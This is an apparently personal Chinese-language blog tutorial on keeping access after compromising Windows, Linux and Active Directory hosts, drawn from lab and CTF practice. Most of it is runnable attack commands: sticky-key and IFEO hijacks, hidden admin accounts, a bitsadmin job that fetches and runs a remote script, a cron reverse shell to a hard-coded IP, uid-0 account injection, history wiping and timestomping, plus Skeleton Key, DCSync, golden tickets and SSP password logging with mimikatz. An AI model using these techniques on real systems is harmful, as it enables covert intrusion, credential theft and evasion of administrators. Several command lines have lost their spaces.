内网渗透-权限维持

前言

平常打靶场遇见的大多都是权限提升的情况,很少遇见需要权限维持的情况,但是这作为内网渗透中蛮重要的一个模块,我就这我的经验和想法,以及一些在网上搜集到的方法来写一下,可能有些想法是我认为可以做权限维持的,如有错误,欢迎指正。

权限维持,主要是应对拿下了一个目标的权限,常见思路是建立一个后门来对目标进行持续控制,以防一旦漏洞被修复后,无法继续控制目标

Windows权限维持

粘滞键后门

5次shift可以打开或关闭粘滞键,粘滞键是为了实现组合键的功能,方便用户只按一个键

在c:\windows\system32下有sethc.exe

image-20250401142218181

本来这是用来提权的(参考春秋云镜-privilege),但是想到他是更改粘滞键,平常用的人应该不多很少发现,更改5次shift执行的程序,就想着这也算是个后门吧,算是维持了?

1
2
renC://windows/system32/sethc.exeC://windows/system32/sethc.bak
renC://windows/system32/cmd.exeC://windows/system32/sethc.exe

在高版本的windows版本中替换的文件受到了系统的保护,所以这里我们要使用另外一个知识点:映像劫持。

windows系统上每个服务的信息都存储在注册表中,ImagePath注册表项通常包含驱动程序映像文件的路径。使用任意可执行文件劫持此密钥将使有效负载在服务启动期间运行,而这种劫持就称为映像劫持

具体操作方法如下:

在注册表下添加一个项sethc.exe,然后在sethc.exe这个项中添加debugger键,键值为我们恶意程序的路径:

1
2
3
4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOption

REGADD"HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\sethc.exe"/vDebugger/tREG_SZ/d"C:\windows\system32\cmd.exe"

1
regadd"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time"/vImagePath/tREG_SZ/d"C:\321321.exe"/f

/f参数很重要,强制执行

1561366-20200418203837265-493326355

由于此服务并非自启动服务,想要此服务开机自启并为高权限,我们仍需使用命令:

1
scconfigw32timestart="auto"obj="LocalSystem"

计划任务

windows下定时任务的命令有两个分别是:at和schtasks,他们两者主要区别是at命令在win7、08等高版本的windows中是不能将任务在前台执行的,也就是只会打开一个后台进程,而schtasks是将定时的任务在前台执行

1
2
3
4
5
6
7
#创建名为test的计划任务,每隔一分钟运行一次,任务执行时指定执行的程序为calc.exe
schtasks/create/scminute/mo1/tntest/trC:\WINDOWS\system32\calc.exe/rusystem

#开机运行无需登录,所以不管哪个用户登陆后都会成功上线
schtasks/create/tntest/trC:\WINDOWS\system32\calc.exe/sconstart/rusystem
#登录运行
schtasks/create/tntest/trC:\WINDOWS\system32\calc.exe/sconlogon

注册表自启动服务后门注入

window的注册表记录了电脑启动的服务或者应用,我们可以利用这项,更改注册表,在注册表键值下写入我们想要启动的程序的所在路径

1
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

image-20250401161239570

image-20250401161308637

1
2
将EnableLUA的值改为0
把这个值改成0,这样在自己的电脑上操作才是真正的administrators

查看EnableLUA的值

1
regquery"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"

image-20250401161436966

此时为1

需要修改为0

创建自启

1
2
3
4
sccreate"test"binpath="C:\Users\admin\Desktop\Calculator.exe"#设置木马路径
scdescription"test""测试"#设置服务的描述
scconfig"test"start=auto#设置为自启动
netstart"test"#启动

image-20250401162346748

发现成功上线

image-20250401162002484

或者直接利用注册表中的自启动服务

1
2
HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

添加一个test自启动任务,执行shell命令

1
2
3
REGADD"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"/vtest/tREG_SZ/d"C:\Users\admin\Desktop\Calculator.exe""
#或
REGADD"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"/vtest/tREG_SZ/d"C:\Users\admin\Desktop\Calculator.exe""

image-20250401162434293

image-20250401162533523

重启电脑

发现成功上线

image-20250401163358668

PS:哪个账户设置的注册表就需要用哪个账户登录,才会实现开机自启

Windows新建用户

这招很容易被发现的,所以后面写了个更厉害的

新建一个用户,并加入管理员组

1
2
netuserq1ngchuan123456Aa@/add
netlocalgroupadministratorsq1ngchuan/add

###Windows隐藏用户

前提有域控权限

该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。制作方法跟步骤如下:

(1)在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。

1
2
3
netuserwhoami$123456Aa@/add
netlocalgroupadministratorswhoami$/add
netuser

image-20250401165809335

但是计算机管理处可以看到

image-20250401165859855

为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。

打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。

image-20250401170011353

这样SAM下的文件就都能看见了。

然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:
image-20250401170152195

复制000001F4目录中的F键的值:

1
然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名,也就是

image-20250401170313947

然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名,也就是

image-20250401170456343

然后将000001F4的F值粘贴到000003E9的F值中,点击确定:

image-20250401170725412

然后从注册表中右键导出000003E9和whoami,并删除whoami,并删除whoami用户

1
netuserwhoami$/del

image-20250401170856547

此时,查看注册表以及本地用户和组或者控制面板,whoami$用户已经没有了:

image-20250401170956970

最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:

1
这样我们的隐藏账户whoami就创建好了。现在,不管你是在命令提示符下输入netuser或者在系统用户管理界面都是看不到whoami就创建好了。现在,不管你是在命令提示符下输入netuser或者在系统用户管理界面都是看不到whoami就创建好了。现在,不管你是在命令提示符下输入netuser或者在系统用户管理界面都是看不到whoami这个账户的,只有在注册表中才能看得到。

映像劫持

“映像劫持”,也被称为“IFEO”(ImageFileExecutionOptions)。可以通过修改注册表中“Debugger“项值,替换执行的程序。

当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序

其注册表路径为:

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions

1、在注册表路径下创建一个项,项名为要劫持的exe名称,可以为任意一个可以运行的exe程序,包括安装后和未安装的exe。并在该项创建一个Debugger的键值(名字只能为Debugger),键值填运行的恶意exe。

随便找了个CVE-2025-30208.exe程序进行劫持

1
regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\CVE-2025-30208.exe"/vDebugger/tREG_SZ/d"C:\Users\admin\Desktop\Calculator.exe"

启动lcx.exe后,成功上线

image-20250401185852724

上述方法是启动exe时会执行其他应用,但是万一人家不想执行你绑定的程序呢,还有另外一个思路,就是你劫持你关闭某个程序时执行另外一个程序

1
2
3
4
5
6
#启动监控程序的退出行为
regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\calc.exe"/vGlobalFlag/tREG_DWORD/d512
#calc.exe异常退出时,系统会记录事件日志并触发监控进程
regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SilentProcessExit\calc.exe"/vReportingMode/tREG_DWORD/d1
#当calc.exe退出时,系统会自动启动shell.exe程序
regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SilentProcessExit\calc.exe"/vMonitorProcess/tREG_SZ/d"C:\Users\admin\Desktop\shell.exe

image-20250401190743233

防御

  1. 排查HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionImageFileExecutionOptions以及HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionSilentProcessExit项值是否存在关联。
  2. 分析系统日志,日志ID为3000和3001,即有可能存在后门威胁。
  3. 直接删除IFEO项或者设置管理员不可修改

logonscripts后门

Windows登录脚本,当用户登录时触发,LogonScripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

注册表路径:HKEY_CURRENT_USER\Environment

1
REGADD"HKEY_CURRENT_USER\Environment"/vUserInitMprLogonScript/tREG_SZ/d"C:\Users\admin\Desktop\shell.exe"

当用户登录时就会执行

image-20250401191157241

注销一下再登录试试

image-20250401191259925

bitsadmin后门

Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。

1
2
3
4
5
6
7
8
9
#创建一个下载任务:
bitsadmin/createbackdoor
#添加文档:
bitsadmin/addfilebackdoorc:\windows\system32\calc.exec:\Users\admin\Desktop\calc.exe//为了方便起见我们直接复制本地文件
#设置下载成功之后要执行的命令:
bitsadmin/SetNotifyCmdLinebackdoorregsvr32.exe"/u/s/i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sctscrobj.dll"
bitsadmin/SetNotifyCmdLinebackdoorcmd.exe"cmd/cC:\Users\admin\Desktop\shell.exe"
#执行任务:
bitsadmin/Resumebackdoor

image-20250401200006840

反应中间卡了一下,我运行了好几次,出来了好几个

image-20250401195940913

重启电脑之后任务会再一次被激活,大概几分钟之后我们的命令会再次执行,如果我们想让任务完成,可以执行:

1
bitsadmin/completebackdoor

优点:系统自带无需上传
缺点:免杀效果一般
排查:bitsadmin/list/verbose

Linux权限维持

SSH私钥

Linux权限维持或者后门,我第一个想到的就是SSH私钥了,这招打春秋云镜的时候可谓是屡试不爽。

写一下他的利用流程

1
2
3
4
5
6
7
#生成秘钥对
ssh-keygen-trsa
#将生成的id_rsa.pub上传至目标机
catid_rsa.pub
echo"pub中的内容">/root/.ssh/authorized_keys
chmod600/root/.ssh/authorized_keys
然后ssh-iid_rsaroot@ip登陆即可

add user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sudo adduser q1ngchuan
sudo usermod -aG sudo q1ngchuan
sudo -s

/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
perl -le 'print crypt("sentiment","salt")'
saXxnGh/ae5PM

#linux中超级管理员root的uid为0,这里我们再添加一个uid为0的账号
echo "test1:saXxnGh/ae5PM:0:0:/root:/bin/bash" >> /etc/passwd

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

排查

1
2
3
4
5
6
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

suid权限维持

suid除了用于linux提权外,其实也是一个不错的权限维持方式,我们可以通过创建suid权限文件得到root权限,执行我们想执行的shell命令

1
2
3
4
5
6
# 创建suid权限的文件
sudo cp /bin/bash /tmp/.ssh
# 赋权
sudo chmod 4755 /tmp/.ssh
#通过suid文件获取shell
/tmp/.ssh -p # 若bash2 针对 suid 有一些护卫的措施,可以使用-p参数来获取一个root shell

定时任务

1
2
crontab [-u user] file
crontab [-u user] { -e | -l | -r } [command]
  • -u user:指定要操作的用户。如果省略这个参数,crontab 将默认操作当前用户的 crontab 文件。
  • file:指定包含定时任务设置的文件。
  • -e:编辑当前用户的 crontab 文件。
  • -l:显示当前用户的 crontab 文件。
  • -r:删除当前用户的 crontab 文件。
1
2

分 时 日 月 周 任务
  • 数字,例如 01023
  • 逗号分隔的数字列表,例如 1,5,10,15
  • 中划线分隔的数字区间,例如 1-5
  • 星号,表示所有可能的值。例如,* 表示每分钟都执行任务。

你还可以使用斜杠来指定一个值的倍数,例如 */5 表示每隔 5 个单位执行任务

1
2
bash -i >& /dev/tcp/140.143.143.130/9999  0>&1
bash -c "bash -i >& /dev/tcp/140.143.143.130/9999 0>&1"

写入1.sh文件

1
2
vim /etc/crontab
*/1 * * * * root /tmp/1.sh

image-20250401210641116

重启服务

1
2
3
service cron restart
或者
systemctl restart crond

开机启动项

  • /etc/profile.d 系统启动会执行该目录下的所有 shell 脚本,只需将自己的脚本放在这个目录下就能执行

##踪迹隐匿

固定文件

用 chattr 命令防止系统中某个关键文件被修改:

1
2
3
4
5
6
7
8
9
chattr +i file_name  #锁定文件
chattr +a file_name #文件只能添加不能修改


chattr +i shell.php # 锁定文件
rm -rf shell.php # 提示禁止删除
lsattr shell.php # 属性查看
chattr -i shell.php # 解除锁定
rm -rf shell.php # 彻底删除文件

image-20250402175406321

无痕终端操作

执行完成后当前终端所有操作不被记录

1
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

隐藏历史操作命令

linux中通过history命令,可以查看本机执行过的命令,如果我们想关闭历史记录则需要使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
区别是bash还是zsh
echo $0
Bash中:
#禁用历史记录功能(符号"+“和”-"的作用分别是打开和关闭指定的模式)
set +o history
#重新开启历史记录功能
set -o history
#删除具体的某个记录
history -d 数组
Zsh中:
unsetopt HIST_SAVE_NO_DUPS # 关闭保存历史
setopt HIST_IGNORE_ALL_DUPS # 只保存最新的
fc -p # 重新加载历史
sed -i 'Nd' ~/.zsh_history && fc -R ~/.zsh_history # 删除第N行

image-20250402174219194

修改文件创建时间

有的时候管理者会根据文件修改时间来判断文件是否为后门,如参考index.html的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题

所以可以使用如下命令,将shell.php与index.html的创建时间保持一致

1
touch -r index.html shell.php

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。

image-20250402174800608

还可以用stat命令查看文件时间戳

image-20250402175123005

创建隐藏文件

可以创建隐藏文件或文件夹,但可以被ls -a看到

1
2
touch .shell.php
mkdir .test

image-20250402175942638

创建以-开头的文件

以-开头命名文件,系统会认为 -testfiletouch 命令的 参数,而不是文件名,这通常会导致错误

创建的时候可以加上–

1
2
3
4
touch -- -shell.php
或者直接echo进去
echo "1" > -sheel.php
或者前面加一个./或指定绝对路径

image-20250402180202084

删除的话也是类似

1
2
3
rm -- -testfile
rm ./-testfile
rm /绝对路径/-testfile

之前awd的不死马爱这么写,挺搞人的反正是

端口复用

端口复用是指不同的应用程序使用相同端口进行通讯。内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。

1
2
3
4
5
6
7
8
9
10
# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein 的列表中移除
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

在攻击机上执行

1
2
3
echo threathuntercoming | socat - tcp:192.168.102.130:80
ssh -p 80 root@192.168.102.130 -T /bin/bash -i
echo threathunterleaving | socat - tcp:192.168.102.130:80

记得在被攻击上启动ssh并允许root登录

1
2
3
4
5
6
vim /etc/ssh/sshd_config
#更改为
PasswordAuthentication yes
PermitRootLogin yes
#重启
systemctl restart ssh

image-20250402190613183

image-20250402190900462

image-20250402191650808

image-20250402191702441

域环境权限维持

Skeleton Key(万能密码)

利用条件

需要拿到域控权限

原理

当拿到域控权限后,使用mimikatz可以注入Skeleon Key,将 Skeleton Key 注入域控制器的 lsass.exe 进程,这样会在域内的所有账号中添加一个 Skeleton Key,而这个key是自己设定的所以可以随时共享访问。

PS:由于注入到lsass.exe进程中,所以每次关机后就不存在了,但一般在真正的域环境中,域控在很长一段时间内是不会重启的,因此可以作为权限维持的一种方式。

1、在域控机器上输入命令将 Skeleton Key 注入域控制器的 lsass.exe 进程:

1
mimikatz.exe "privilege::debug" "misc::skeleton" exit

这个时候系统提示 Skeleton Key 已经注入成功,此时会在域内的所有账号中添加一个 Skeleton Key,其密码默认为:“mimikatz”。

image-202504022022352032、建立与域控机器的ipc通道

1
net use \\DC2016\ipc$ "mimikatz" /user:q1ngchuan.lab\administrator

image-20250402203757761

黄金票据和白银票据

黄金票据

  • 需要伪造的域管理员用户名
  • 完整的域名
  • 域SID
  • krbtgt的NTLM Hash
1
2
3
4
5
6
7
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt
sekurlsa::logonpasswords
lsadump::dcsync /q1ngchuan.lab /user:krbtgt #拿krbtgt 信息
kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi #生成票据
kerberos::purge
kerberos::ppt golden.kiribi #导入票据
kerberos::list

白银票据

1.域名称
2.域的SID值
3.域中的Server服务器账户的NTLM-Hash
4.伪造的用户名,可以是任意用户名.
5.目标服务器上面的kerberos服务

1
2
3
4
5
6
7
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" 

kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt

kerberos::purge
kerberos::ppt golden.kiribi #导入票据
kerberos::list

Hook PasswordChangeNotify

vs2012下载地址http://download.microsoft.com/download/B/0/F/B0F589ED-F1B7-478C-849A-02C8395D0995/VS2012_ULT_chs.iso

Hook PasswordChangeNotify 的作用是当用户修改密码后在系统中进行同步

攻击者可利用此功能获取用户修改密码时输入的密码明文

1、使用vs生成 HookPasswordChange.dll,路径可自己修改。

下载地址:https://github.com/clymb3r/Misc-Windows-Hacking

这里修改的是C:\windows\SYSVOL\domain\Policies,也就是域内共享的路径,域成员可以使用普通用户权限读取该路径中的内容,因此写在这里当域控修改密码后,只要有一台普通域用户权限即可在该路径中查看修改后的密码

image-20250408192813321

将Invoke-ReflectivePEInjection.ps1 脚本将 HookPasswordChange.dll 注入内存

下载地址:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

1
2
3
powershell -exec bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

按理说这样就行了,我搞了半天还是一样一直说我没有开启ASLR,但是哪些该有的参数我都有,很奇怪

image-20250408205203541

SID history域后门

SID即安全标识符(Security Identifiers),是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。

SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限,SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用

户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

这就又给了权限维持以可乘之机

主要思路是:把域控管理员的SID加入到 其他某个 恶意的域账户 的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了

利用条件

拿到域控权限

原理

使用域控查看hack用户的 SID History 属性

1
2
3
powershell -exec bypass
Import-Module ActiveDirectory
Get-ADUser hack -Properties sidhistory

image-20250403083831360

用mimikatz将Administrator 的 SID 添加到恶意用户 hack 的 SID History中

1
2
3
4
5
6
privilege::debug
sid::patch
sid::add /sam:hack /new:administrator

# 清除恶意用户的 SID History 属性可用:
sid::clear /sam:hack

虽然我提示有错误,但是还写吧SID history加进去了

image-20250403085816814

image-20250403085826034

hack用户也可以直接访问域控

防御

  1. 经常查看域用户中SID为500的用户。
  2. 完成域迁移工作后,对有相同SID History属性的用户进行检查
  3. 定期检查ID为4765和4766的日志。4765为将 SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。

基于验证DLL加载-SSP

原理

SSP可以理解为一个用于身份验证的 dll,当目标系统在启动时SSP会被加载到Isass.exe进程中,而lsa可被扩展,所以目标机器在系统启动时可以加载一个我们自定义的dll文件,若我们定义一个恶意的DLL文件,在目标系统启动时自动加载到 lsass.exe进程中,那么攻击者就能够获取lsass.exe进程中的明文密码,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

实验

方法一

通过mimikatz注入到内存,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

目标无需重启系统,只要有用户登陆到此系统,那么就立即开始密码记录(但重启后就失效了).

1
mimikatz "privilege::debug" "misc::memssp" exit

执行后,若用户注销或者有其他用户登录到此系统,即可在windows\system32下生成mimilsa.log文件,其中就包含了登录的密码

image-20250407200647793

image-20250407200703396

方法二

添加mimilib.dll到注册表

1.将mimilib.dll文件传到域控的windows\system32

image-20250407200859762

2.用powershell修改一下注册表Security Packages的值,追加下刚刚的mimilib.dll:

1
2
3
powershell
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

image-20250407201118407

此时就在注册表中添加了mimilib数据

image-20250407201457326

3.重启系统,一旦有用户登陆到当前系统,就会在c:\windows\system32\目录下生成一个记录登陆账号密码的kiwissp.log文件

image-20250407201826576

Dcsync

看到这个名称我一眼就能想起黄金和白银票据,这玩意和这个经常联系到一起

在域环境中,不同域控制器之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。

DCSync 是mimikatz在2015年添加的一个功能,利用的这个原理,可以通过 Directory Replication Service(DRS)服务的 GetNCChanges 接口向域控发起数据同步请求。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据

当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。

利用条件

在域内用户所具有的权限其实最根本是看用户的DACL,那么对于DCSync攻击来说,只要域用户拥有以下三条DACL即可向域控发出数据同步请求,从而dump出域内用户hash,这三条DACL分别为:

  • 复制目录更改(DS-Replication-Get-Changes)

  • 全部复制目录更改 (DS-Replication-Get-Changes-All )

  • 在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)

以下用户默认拥有该权限:

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户 #企业管理员
  • 域控制器的计算机帐户

实验

默认用域控可以用dcsync直接导出域内所有域用户的hash

1
2
3
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:q1ngchuan.lab /all /csv" exit
#可以导出指定用户hash
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:q1ngchuan.lab /user:administrator" exit

image-20250407204656552

普通域用户不可

image-202504072048354371、此时就可以通过域控域普通用户添加上述三条DACL,即可向域控发出数据同步请求

可以使用powerview中的Add-DomainObjectAcl函数写入DCSync权限

1
2
3
4
5
powershell -exec bypass
import-module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=q1ngchuan,DC=lab" -PrincipalIdentity hack -Rights DCSync -Verbose
#删除DCSync权限
Remove-DomainObjectAcl -TargetIdentity "DC=sentiment,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose

image-20250408154415377

2、此时在普通用户上执行mimikatz的dcsync便可导出域内所有用户的hashimage-20250408154805753

后利用

dump ntds

知道域控的hash后,就可以直接用secretsdump拿到域控的ntds

1
impacket-secretsdump -hashes :397cb3952d50a1e29ee3308179c0ff81 q1ngchuan.lab/administrator@192.168.102.138

image-20250408155137471

黄金票据
1
mimikatz "lsadump::dcsync /domain:q1ngchuan.lab /user:krbtgt"

image-20250408155527992

1
2
3
4
5
/domain:q1ngchuan.lab
# Object Security Id 去掉最后的uid
/sid:S-1-5-21-224527955-2611004762-2677198730
/aes256_hmac:1aeb0f13de2c2ab99073bef428d00a3e3f3529f10ff2c7bd0687ee8688fd507e

生成黄金票据

1
kerberos::golden /admin:administrator /domain:q1nghuan.lab /sid:S-1-5-21-224527955-2611004762-2677198730 /aes256:1aeb0f13de2c2ab99073bef428d00a3e3f3529f10ff2c7bd0687ee8688fd507e /ticket:golden.kiribi

image-20250408160056839

导入黄金票据

1
2
kerberos::purge
kerberos::ptt golden.kiribi

image-20250408161200404

我在访问的时候发生了问题,好像他是用hack作为本地用户去访问域控,设置用域控去访问就好(不确定对不对)

1
net use \\DC2016\c$ /user:administrator\hack
PTH

知道hash可以直接票据传递拿到域控权限

1
impacket-wmiexec -hashes :397cb3952d50a1e29ee3308179c0ff81 q1ngchuan.lab/administrator@192.168.102.138

image-20250408162216187

DSRM

目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

原理

除了krbtgt服务帐号外,域控上还有个可利用的账户:目录服务还原模式(DSRM)账户,这个密码是在DC安装的时候设置的,所以一般不会被修改。但是微软对DSRM帐号进行了限制,只允许在控制台登录。但通过修改注册表就可以实现网络验证并登录到DC。这样DSRM账户就可以看做一个本地管理员帐号。可以通过导出的HASH结合PTH方式,持续控制DC,即使域内用户密码都进行了修改也可以利用。

实验

1、先在域控制器中打开mimikatz,分别输入如下命令

1
2
3
4
5
privilege::debug
lsadump::lsa /patch /name:krbtgt


df74d0baaedc83fe77b8448c980139b9

image-20250408163511468

使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

1
2
token::elevate
lsadump::sam

image-20250408163623100

本地管理员账号也就是DSRM账号的NTLM Hash为397cb3952d50a1e29ee3308179c0ff81

将DSRM账号和krbtgt的NTLM Hash同步(为DSRM设置新密码)

1
2
3
4
5
NTDSUTIL                             #打开ntdsutil
set DSRM password #修改DSRM的密码
sync from domain account 域用户名字 #使DSRM的密码和指定域用户的密码同步 sync from domain account krbtgt
q(第1次) #退出DSRM密码设置模式
q(第2次) #退出ntdsutil

image-20250408164213193

查看DSRM的NTLM Hash是否同步成功

1
2
3
privilege::debug
token::elevate
lsadump::sam

image-20250408164403998

df74d0baaedc83fe77b8448c980139b9

修改DSRM的登录方式

DSRM有三种登录方式,具体如下:

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。

1
2
powershell -exec bypass
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

image-20250408164447496

使用DSRM账号通过网络远程登录域控制器

在任意一台域成员主机上或者域控本机上,输入如下内容

1
2
privilege::Debug
sekurlsa::pth /domain:q1ngchuan.lab /user:administrator /ntlm:df74d0baaedc83fe77b8448c980139b9

image-20250408164849431

参考文章

https://xz.aliyun.com/news/11985

https://cloud.tencent.com/developer/article/1759955